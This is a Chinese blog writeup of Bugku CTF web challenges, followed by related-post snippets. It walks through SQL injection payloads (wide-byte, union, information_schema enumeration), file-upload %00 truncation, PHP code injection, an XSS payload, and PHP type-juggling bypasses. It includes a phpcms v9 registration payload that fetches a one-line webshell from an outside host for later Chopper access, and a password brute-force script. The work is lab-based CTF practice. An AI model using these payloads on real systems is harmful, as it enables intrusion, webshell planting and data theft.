1. 程式人生 > >CTF-練習平臺 Web writeup

CTF-練習平臺 Web writeup

簽到題

這裡寫圖片描述


web2

這裡寫圖片描述


檔案上傳測試

經典的題目,用burp抓包得到如下 

這裡寫圖片描述

然後我們更改一下上傳路徑然後用%00截斷一下即可

Content-Disposition: form-data; name="file"; filename="3.png%001.php"
  • 1

計算題

改一下瀏覽器中的text的長度

這裡寫圖片描述

Web3

進去一直彈框,沒完沒了…直接禁用了F12看原始碼,發現有一個

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75
;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->
  • 1

估摸就是答案,格式轉換一下。 
用python寫個簡單的指令碼即可

s='&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125'
key=s.split(';') flag='' for i in key: flag+=chr(int(i[2:])) print flag
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

sql注入

真的是sql注入啊,每一次都想不到寬位元組注入,給自己一個大大的巴掌!下面講題 
首先我們看到了介面以後id是注入點,然後進行各種union select什麼的姿勢並沒有什麼卵用。然後好久好久才想到寬位元組注入!

實驗http://103.238.227.13:10083/index.php?id=%df%27 or 1%23 

這裡寫圖片描述

驗證了就是寬位元組注入,然後我們觀察可以看到給出的是id和key,那麼估計查詢的時候是兩個項,不信可以驗證一下 

這裡寫圖片描述

而且這裡也給了提示,我們注入的是key表,不行也可以用簡單的爆表驗證http://103.238.227.13:10083/index.php?id=%df%27 union select 1, table_name from information_schema.tables%23

然後我們查表的過程中會遇到一點小問題,key既是欄位名又是表明會產生衝突,我們要用“來包含住,payload如下

http://103.238.227.13:10083/index.php?id=%df%27  union select 1,string  from `key` where id =1%23
  • 1

然後就可以得到一個hash值,結果KEY{54f3320dc261f313ba712eb3f13a1f6d}

SQL注入1

本題坑了我很久。一開始思路偏了以為是盲注,但是大牛說想複雜了。而且之前因為一個;的問題一直沒結果。

就是字串的繞過,但是怎麼繞過?我們觀察這個函式 

這裡寫圖片描述

這個函式為了防止xss把 類似的標籤去掉了,那麼我們可以利用這個構造繞過sql的過濾。比如說 

這裡寫圖片描述

可以知道查詢確實只有兩列,類似的我們根據提示union查詢(注意)其實直接就出來了(我太弱了…)

payload:http://103.238.227.13:10087/index.php?id=-1 un<br>ion se<br>lect hash,1  fro<br>m `key`#
  • 1

本地包含

哪門子本地包含啊,分明是某春秋原題…但是某春秋明顯伺服器的ubuntu的吧。但是貌似這個伺服器不是,不能執行bash指令,但是呼叫php的函式就好了。還是注入eval( “var_dump($a);”); 這句話。payload如下

http://post2.bugku.com/hello?hello=);print_r(file("./flag.php")); //
  • 1
這裡寫圖片描述

原題題解可以看這兒 
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}

變數1

不說話,又是某春秋原題 

這裡寫圖片描述

原題題解還是可以看這兒

Web4

首先進入頁面,隨便輸入一個東西,提示仔細看,所以感覺應該是有什麼東西輸出但是一下子被刷掉了,用burp抓包看一下!發現果然有東西! 

這裡寫圖片描述

然後我們發現一段js指令碼用線上js執行器跑一下! 
線上JS傳送門

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
var p3 =unescape(p1) + unescape('%35%34%61%61%32' + p2);
console.log( p3);
  • 1
  • 2
  • 3
  • 4

解密後得到程式碼

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
  • 1

可以看到就是簡單的構造一下password唄~

Web5

怎麼介面還是一樣的???burp抓包發現成了這個… 

這裡寫圖片描述

直接用google的console就完事兒了…是叫brianfuck貌似? 

這裡寫圖片描述

flag在index裡

這個題目是檔案包含…告訴你flag在index.php中,但是沒有顯示,肯定被注入掉了,然後我們看到url是xxx?file=…,很像檔案包含,嘗試一下得到flag 


這裡寫圖片描述
這裡寫圖片描述

phpcmsV9

這個是常見的php漏洞模板之一,花式cms之一,而且本次西安網賽線下賽正好除了phpcms9的漏洞,正好上手玩兒一下。 
告訴你flag的位置,直接了當就是想到任意檔案上傳(本模板還有mysql注入漏洞)。

首先開啟網址

http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1
  • 1

發現是會員的申請頁面,然後構造payload

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://file.codecat.one/normalOneWord.txt#.jpg>&dosubmit=1&protocol=
  • 1

我們可以看到www.bugku.com/tools/phpyijuhua.txt就是我們小馬的地址了,最最簡單的一句話木馬了。然後上傳以後會返回mysql錯誤回傳地址,這裡放截圖(截圖和這個地址不匹配但是原理相似) 

這裡寫圖片描述
這裡寫圖片描述

可以看到上傳成功,然後我們放上去真正的木馬!php檔案

這裡寫程式碼片
  • 1
這裡寫圖片描述

注意!這裡每一次提交的時候賬號密碼郵箱需要變換,否則會失敗 
或者用Harry提供的工具,上傳小馬 

這裡寫圖片描述

然後上傳一次基本上你就被ban了,因為伺服器有基本的防護!沒關係,等一會再菜刀連結!!!就成功了!

這裡寫圖片描述
這裡寫圖片描述

實現了最最簡單的漏洞利用!!!

輸入密碼檢視flag

首先看到了頁面,輸入5位密碼數字得到flag,一看五位數字,那麼總共10萬種情況,直觀就是爆破,時間比較長,但是不需要懷疑人生,直接爆破即可,程式碼如下:

#coding:utf-8
import requests
url='http://120.24.86.145:8002/baopo/?yes'
value=[]
for i in range(0,99999):
    if(len(str(i))<5):
        value.append("0"*(5-len(str(i)))+str(i))
    else :
        value.append(str(i))
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in value:
    data = {'pwd':i}
    print 'trying',i
    content = requests.post(url,data=data)
    content.encoding='utf-8'
    html=content.text
    #print html
    if html != patch:
        print html
    #print content.text.decode('gbk', 'ignore')

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

嫌速度太慢可以開多個執行緒,分段爆破,可以得到結果

這裡寫圖片描述

得到flag:flag{bugku-baopo-hah}

前女友

首先看網頁原始碼可以找到連結 

這裡寫圖片描述

然後審計程式碼看到最簡單的php了

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

利用經典的md5 弱型別匹配和strcmp的陣列get漏洞,當strcmp(陣列,字串)==0,然後我們構造payload如下

http://47.93.190.246:49162/?v1=QNKCDZO&v2=240610708&v3[]=0
  • 1

得到flag

SKCTF{Php_1s_tH3_B3St_L4NgUag3}
  • 1

成績查詢

很久不做注入,最最簡單的注入都不會了… 
先是嘗試union 查詢,測試列數,發現是四列 

這裡寫圖片描述

然後明顯四個都是注入點,常見的爆庫爆列即可 
爆庫

id='union select (select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1),1,1,1#
  • 1

爆表

id='union select (select table_NAME from information_schema.tables limit 40,1),1,1,1# #fl4g的成績單
  • 1

爆列名因為太多了寫了個指令碼

#coding:utf-8
import requests
import re
url='http://120.24.86.145:8002/chengjidan/'
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in range(1,500):
    data = {'id':"'union select (select column_NAME from information_schema.columns limit %d,1),1,1,1#"%i}
    content = requests.post(url,data=data)
    content.encoding='utf-8'
    html=content.text
    html=re.findall(r'<caption>(.*?)</caption>',html,re.S)
    if len(html)>0:
        print html[0][:-4]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

也或者這麼查,簡單一些

id=-1' union select 1,2,3, group_concat(column_name) from information_schema.columns where table_name=0x666c3467#爆欄位
  • 1

最後直接查詢即可,payload

id='union select (select skctf_flag from  fl4g limit 0,1),1,1,1#
  • 1
BUGKU{Sql_INJECT0N_4813drd8hz4}
  • 1

同時這裡用了sqlmap post注入的方法,詳情請看

Web6

這個題目搞的我也是懵逼,一看思路就是發現headers中的flag,然後base64解密兩次post提交,寫一個指令碼就行了,但是呢,這裡需要主意一個問題。 
觀察就會發現,每次訪問的時候cookie是會變化的…所以啊…用python寫指令碼的時候,需要加上會話…需要加上會話…需要加上會話… 
指令碼如下:

#coding:utf-8
import requests,base64
import re
url='http://120.24.86.145:8002/web6/'
value=[0]*1000000
s=requests.Session()
content = s.post(url)
html = content.headers['flag']
flag  = base64.b64decode(base64.b64decode(html)[-8:])
#print flag
data = {'margin':flag}
content = s.post(url,data=data)
print content.text
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

flag

KEY{111dd62fcd377076be18a}
  • 1

Cookie欺騙???

簡單的cookie構造,首先看網頁是一個讀取檔案。其中我們可以看到filenamebase64加密後的內容,經過測試line是代表行數,然後我們嘗試讀取index.php本身。

#coding:utf-8
import requests,base64
import re
html=''
url='http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'
s=requests.Session()
for i in range(100):
    content=s.get(url%i)
    if content.text=='':
        break
    html+=content.text
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

得到index.php的原始碼如下

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

發現就是呀加上一個cookie,讓keys.php加入道檔案列表中,然後申請讀取keys.php即可,payload如下

#coding:utf-8
import requests,base64
import re
s=requests.Session()
cookies={'margin':'margin'}
content=s.get("http://120.24.86.145:8002/web11/index.php?line=0%d&filename=a2V5cy5waHA=", cookies=cookies)
print content.text
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

flag

KEY{key_keys}
  • 1

XSS

我們看原始碼可以看到關鍵程式碼如下

<script>
    var s="";   document.getElementById('s').innerHTML = s;
</script>
  • 1
  • 2
  • 3

然後我們看淡變數s比肩關鍵,但是題目中是通過構造

http://103.238.227.13:10089/?id=xxxx
  • 1

來改變s值的,雖然我不知道這是為啥….

然後我們搜尋關鍵程式碼吧,發現可以找到payload

http://103.238.227.13:10089/?id=\u003cimg src=1 onerror=alert(_key_)\u003e
  • 1

因為直接構造<不行,會用&lt;替換掉,插入的變成了純文字,所以就用這種方法。

http://103.238.227.13:10089/?id=\u003cimg%20src=1%20onclick=alert(_key_)\u003e
  • 1

也行

never give up

進入介面不知道是啥,F12檢視原始碼,發現提示1p.html?然後試一下,發現自動跳轉到論壇去了。然後用burp抓一下包,發現 

這裡寫圖片描述

脫出來然後urldecode一下,發現一個base64的密文,解密後再進行urldecode,得到一段關鍵程式碼

if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

太尼麻痴漢了…一直想去繞過,沒想起來直接去訪問就可以… 

這裡寫圖片描述
flag{tHis_iS_THe_fLaG}
  • 相關推薦

    CTF-練習平臺 Web writeup

    簽到題web2檔案上傳測試經典的題目,用burp抓包得到如下 然後我們更改一下上傳路徑然後用%00截斷一下即可Content-Disposition: form-data; name="file"; filename="3.png%001.php"1計算題改一下瀏覽器中的te

    CTF-練習平臺 Web writeup By Assassin [暫時完結]

    簽到題 web2 檔案上傳測試 經典的題目,用burp抓包得到如下 然後我們更改一下上傳路徑然後用%00截斷一下即可 Content-Disposition: form-data; name="file"; filena

    bugku CTF-練習平臺 部分writeup

    MISC 1.俄羅斯套娃 下載下來一個壓縮包 題目是bc957e26ff41470c556ee5d09e96880b 好像是MD5解出來是misc。。。雜項題 包裡三個檔案 試了試常規找不到密碼,就試試偽加密 解壓出來了。 先看看flag.zip 提示

    BugKuCTF(CTF-練習平臺)——WEB-SQL注入1

    %00截斷 http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%23 http://103.238.227.13:10087/?id=-1%20uni%00on%20

    CTF-練習平臺 writeup web

    bugku Web WriteUp 剛剛接觸ctf沒多久,做ctf-練習平臺上的題目,有些新的題目,在網上沒有找到對應的writeup,所以做了之後就想自己寫一個,也順便理理自己的思路。(沒有太多經驗…可能對有些題目的理解還不深刻…) 簽到題

    CTF練習平臺sql注入測試writeup

    練習網址http://103.238.227.13:10083/ 頁面截圖 由以上提示我們可以看出查詢key表,id=1的string欄位,為此我們可以從最基本的注入開始嘗試 發現並不報錯,想到了寬位元組注入,並且可以驗證一下: http://103.238.227.1

    【bugku】CTF-練習平臺writeup

    CTF-練習平臺writeupMISC滴答~滴看標題基本就知道是摩爾斯密碼“.”、”-“,直接線上摩爾斯解密 聰明的小羊小羊。。。老套路 翻柵欄,柵欄密碼。。。比較簡單,直接看出來是兩欄加密 KEY{sad23jjdsa2}這是一張單純的圖片??看題目估計是道隱寫術的題,先儲

    【root-me CTF練習Web伺服器安全-SSTI攻擊(模板注入)

    靶機地址 http://challenge01.root-me.org/web-serveur/ch41/ 模板引擎 模板的誕生是為了將顯示與資料分離,模板技術多種多樣,但其本質是將模板檔案和資料通過模板引擎生成最終的HTML程式碼。服務端模板注入和常見We

    【root-me CTF練習Web伺服器安全-PHP 遠端檔案包含

    靶機地址 http://challenge01.root-me.org/web-serveur/ch13/ 解題思路 根據題目,得知考的應該是include()函式遠端包含檔案,那麼則需要php.ini的配置選項allow_url_fopen和allow_u

    【root-me CTF練習Web伺服器安全-PHP type juggling

    靶機地址 http://challenge01.root-me.org/web-serveur/ch44/ 解題思路 檢視提示的原始碼,發現主要是需要繞過以下比較: if($auth['data']['login'] == $USER &&

    【root-me CTF練習Web伺服器安全-PHP preg_replace

    靶機地址 http://challenge01.root-me.org/web-serveur/ch37/index.php 解題思路 此題考的是利用PHP 的preg_replace函式導致的程式碼執行。 /e 修正符使 preg_replace()

    【root-me CTF練習Web伺服器安全-PHP -寬鬆的比較

    靶機地址 http://challenge01.root-me.org/web-serveur/ch55/ 解題思路 檢視提示的原始碼,發現需要滿足 $s != false && $h != false if($s.$r == $h) 也就

    【root-me CTF練習Web伺服器安全-本地檔案包含-雙重編碼

    靶機地址 http://challenge01.root-me.org/web-serveur/ch45/ 解題思路 通過構造測試連結發現,這關也是通過include函式包含的,並且檔名自動加上.inc.php,而這個版本的php是無法使用%00也就是null位元組

    【root-me CTF練習Web伺服器安全-本地檔案包含

    靶機地址 http://challenge01.root-me.org/web-serveur/ch16/ 解題思路 通過點選網站上的不同板塊,可以看到可根據不同目錄讀取相應的檔案內容,如以下連結讀取sysadm目錄裡的index.html檔案內容。 http://

    CTF/CTF練習平臺-XSS【xss注入及js unicode編碼及innerHTML】

                    原題內容:http://103.238.227.13:10089/Flag格式:Flag:xxxxxxxxxxxxxxxxxxxxxxxx題目有點坑啊,注入點都沒說明,去群裡問的,這題注入點為id(get方式),id的值會進行替換後進入s補充了這個,好了,繼續做題右鍵原始碼&l

    CTF/CTF練習平臺-各種繞過喲【sha1陣列型別比較漏洞】

    原題內容: 各種繞過喲 http://120.24.86.145:8002/web7/ 吐槽一下,,,提示真的噁心,,誤導 以前總結過,沒做過題目,今天算是遇到了,,,mark一下 一張圖解釋

    CTF/CTF練習平臺-login1【sql約束攻擊】

    原題內容: http://47.93.190.246:49163/ flag格式:SKCTF{xxxxxxxxxxxxxxxxx} hint:SQL約束攻擊 題目提示很明顯了,這裡直接幾個截圖解釋

    BugKuCTF(CTF-練習平臺)——Crypto-聰明的小羊

    題目描述: 題目解答: 1)思路:看到柵欄,想到柵欄密碼,2個說明每組字數為2,在網址http://www.qqxiuzi.cn/bianma/zhalanmima.php中解密 2)解密: 故flag為:KEY{sad23jjdsa2}

    BugKuCTF(CTF-練習平臺)——Crypto-簡單加密

    題目描述: 問題解答: 1)思路:初見題目,這是一段加密文字,觀察後兩位是相同的字母,這讓我想到是凱撒加密與base64相結合的加密方式。 1)解密: 1.根據ASCII表,將上述文字轉換為十進位制,網址http://www.ab126.com/goju/1711

    CTF/CTF練習平臺-welcome to bugkuctf【php //filter及php //input】

                    原題內容: http://120.24.86.145:8006/test1/ 首先b